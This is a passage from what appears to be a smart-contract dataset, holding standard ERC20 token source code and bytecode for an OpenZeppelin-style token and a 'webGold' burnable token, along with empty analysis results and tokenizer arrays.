`spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b604051610104919061119a565b60405180910390f35b61012760048036038101906101229190610f78565b61038d565b604051610134919061117f565b60405180910390f35b6101456103ab565b60405161015291906112dc565b60405180910390f35b61017560048036038101906101709190610f29565b6103b5565b604051610182919061117f565b60405180910390f35b6101936104ad565b6040516101a091906112f7565b60405180910390f35b6101c360048036038101906101be9190610f78565b6104b6565b6040516101d0919061117f565b60405180910390f35b6101f360048036038101906101ee9190610ec4565b610562565b60405161020091906112dc565b60405180910390f35b6102116105aa565b005b61021b610632565b6040516102289190611164565b60405180910390f35b61023961065c565b604051610246919061119a565b60405180910390f35b61026960048036038101906102649190610f78565b6106ee565b604051610276919061117f565b60405180910390f35b61029960048036038101906102949190610f78565b6107d9565b6040516102a6919061117f565b60405180910390f35b6102c960048036038101906102c49190610eed565b6107f7565b6040516102d691906112dc565b60405180910390f35b6102f960048036038101906102f49190610ec4565b61087e565b005b60606003805461030a9061140c565b80601f01602080910402602001604051908101604052809291908181526020018280546103369061140c565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b60006103a161039a610976565b848461097e565b6001905092915050565b6000600254905090565b60006103c2848484610b49565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061040d610976565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561048d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104849061123c565b60405180910390fd5b6104a185610499610976565b85840361097e565b60019150509392505050565b60006012905090565b60006105586104c3610976565b8484600160006104d1610976565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610553919061132e565b61097e565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105b2610976565b73ffffffffffffffffffffffffffffffffffffffff166105d0610632565b73ffffffffffffffffffffffffffffffffffffffff1614610626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061d9061125c565b60405180910390fd5b6106306000610dca565b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461066b9061140c565b80601f01602080910402602001604051908101604052809291908181526020018280546106979061140c565b80156106e45780601f106106b9576101008083540402835291602001916106e4565b820191906000526020600020905b8154815290600101906020018083116106c757829003601f168201915b5050505050905090565b600080600160006106fd610976565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b1906112bc565b60405180910390fd5b6107ce6107c5610976565b8585840361097e565b600191505092915050565b60006107ed6107e6610976565b8484610b49565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610886610976565b73ffffffffffffffffffffffffffffffffffffffff166108a4610632565b73ffffffffffffffffffffffffffffffffffffffff16146108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f19061125c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561096a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610961906111dc565b60405180910390fd5b61097381610dca565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e59061129c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a55906111fc565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b3c91906112dc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb09061127c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c20906111bc565b60405180910390fd5b610c34838383610e90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb19061121c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4d919061132e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610db191906112dc565b60405180910390a3610dc4848484610e95565b50505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081359050610ea98161174e565b92915050565b600081359050610ebe81611765565b92915050565b600060208284031215610ed657600080fd5b6000610ee484828501610e9a565b91505092915050565b60008060408385031215610f0057600080fd5b6000610f0e85828601610e9a565b9250506020610f1f85828601610e9a565b9150509250929050565b600080600060608486031215610f3e57600080fd5b6000610f4c86828701610e9a565b9350506020610f5d86828701610e9a565b9250506040610f6e86828701610eaf565b9150509250925092565b60008060408385031215610f8b57600080fd5b6000610f9985828601610e9a565b9250506020610faa85828601610eaf565b9150509250929050565b610fbd81611384565b82525050565b610fcc81611396565b82525050565b6000610fdd82611312565b610fe7818561131d565b9350610ff78185602086016113d9565b6110008161149c565b840191505092915050565b600061101860238361131d565b9150611023826114ad565b604082019050919050565b600061103b60268361131d565b9150611046826114fc565b604082019050919050565b600061105e60228361131d565b91506110698261154b565b604082019050919050565b600061108160268361131d565b915061108c8261159a565b604082019050919050565b60006110a460288361131d565b91506110af826115e9565b604082019050919050565b60006110c760208361131d565b91506110d282611638565b602082019050919050565b60006110ea60258361131d565b91506110f582611661565b604082019050919050565b600061110d60248361131d565b9150611118826116b0565b604082019050919050565b600061113060258361131d565b915061113b826116ff565b604082019050919050565b61114f816113c2565b82525050565b61115e816113cc565b82525050565b60006020820190506111796000830184610fb4565b92915050565b60006020820190506111946000830184610fc3565b92915050565b600060208201905081810360008301526111b48184610fd2565b905092915050565b600060208201905081810360008301526111d58161100b565b9050919050565b600060208201905081810360008301526111f58161102e565b9050919050565b6000602082019050818103600083015261121581611051565b9050919050565b6000602082019050818103600083015261123581611074565b9050919050565b6000602082019050818103600083015261125581611097565b9050919050565b60006020820190508181036000830152611275816110ba565b9050919050565b60006020820190508181036000830152611295816110dd565b9050919050565b600060208201905081810360008301526112b581611100565b9050919050565b600060208201905081810360008301526112d581611123565b9050919050565b60006020820190506112f16000830184611146565b92915050565b600060208201905061130c6000830184611155565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611339826113c2565b9150611344836113c2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113795761137861143e565b5b828201905092915050565b600061138f826113a2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156113f75780820151818401526020810190506113dc565b83811115611406576000848401525b50505050565b6000600282049050600182168061142457607f821691505b602082108114156114385761143761146d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61175781611384565b811461176257600080fd5b50565b61176e816113c2565b811461177957600080fd5b5056fea2646970667358221220fc5c7c11146aa14757237c4bd71f9fc7ff436ee6f498eed8ea029e8dfe790b5564736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2620, 2581, 2475, 5243, 2546, 2094, 2581, 2683, 2683, 12740, 2278, 2581, 2497, 18827, 2546, 2581, 9818, 2278, 2487, 13775, 2497, 16932, 28311, 22022, 2581, 4215, 2278, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1063, 9413, 2278, 11387, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2358, 14536, 19204, 3206, 1008, 1030, 16475, 3722, 9413, 2278, 11387, 3206, 2007, 5787, 4425, 2005, 2531, 19968, 2078, 19204, 2015, 1012, 2324, 26066, 2015, 2011, 12398, 1008, 4839, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,870
0x9787b163be24472ce7fc65462320d7dc318193c5
pragma solidity ^0.4.24; /* * Part of Daonomic platform (daonomic.io) */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract WgdToken is StandardBurnableToken { string public constant name = "webGold"; string public constant symbol = "WGD"; uint8 public constant decimals = 18; constructor(uint _total) public { balances[msg.sender] = _total; totalSupply_ = _total; emit Transfer(address(0), msg.sender, _total); } }
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063313ce567146101dc57806342966c6814610207578063661884631461022157806370a082311461024557806379cc67901461026657806395d89b411461028a578063a9059cbb1461029f578063d73dd623146102c3578063dd62ed3e146102e7575b600080fd5b3480156100d557600080fd5b506100de61030e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a0360043516602435610345565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06103ab565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356103b1565b3480156101e857600080fd5b506101f1610528565b6040805160ff9092168252519081900360200190f35b34801561021357600080fd5b5061021f60043561052d565b005b34801561022d57600080fd5b50610177600160a060020a036004351660243561053a565b34801561025157600080fd5b506101a0600160a060020a036004351661062a565b34801561027257600080fd5b5061021f600160a060020a0360043516602435610645565b34801561029657600080fd5b506100de6106db565b3480156102ab57600080fd5b50610177600160a060020a0360043516602435610712565b3480156102cf57600080fd5b50610177600160a060020a03600435166024356107f3565b3480156102f357600080fd5b506101a0600160a060020a036004358116906024351661088c565b60408051808201909152600781527f776562476f6c6400000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156103c857600080fd5b600160a060020a0384166000908152602081905260409020548211156103ed57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561041d57600080fd5b600160a060020a038416600090815260208190526040902054610446908363ffffffff6108b716565b600160a060020a03808616600090815260208190526040808220939093559085168152205461047b908363ffffffff6108c916565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104bd908363ffffffff6108b716565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b61053733826108dc565b50565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561058f57336000908152600260209081526040808320600160a060020a03881684529091528120556105c4565b61059f818463ffffffff6108b716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600160a060020a038216600090815260026020908152604080832033845290915290205481111561067557600080fd5b600160a060020a03821660009081526002602090815260408083203384529091529020546106a9908263ffffffff6108b716565b600160a060020a03831660009081526002602090815260408083203384529091529020556106d782826108dc565b5050565b60408051808201909152600381527f5747440000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561072957600080fd5b3360009081526020819052604090205482111561074557600080fd5b33600090815260208190526040902054610765908363ffffffff6108b716565b3360009081526020819052604080822092909255600160a060020a03851681522054610797908363ffffffff6108c916565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610827908363ffffffff6108c916565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd031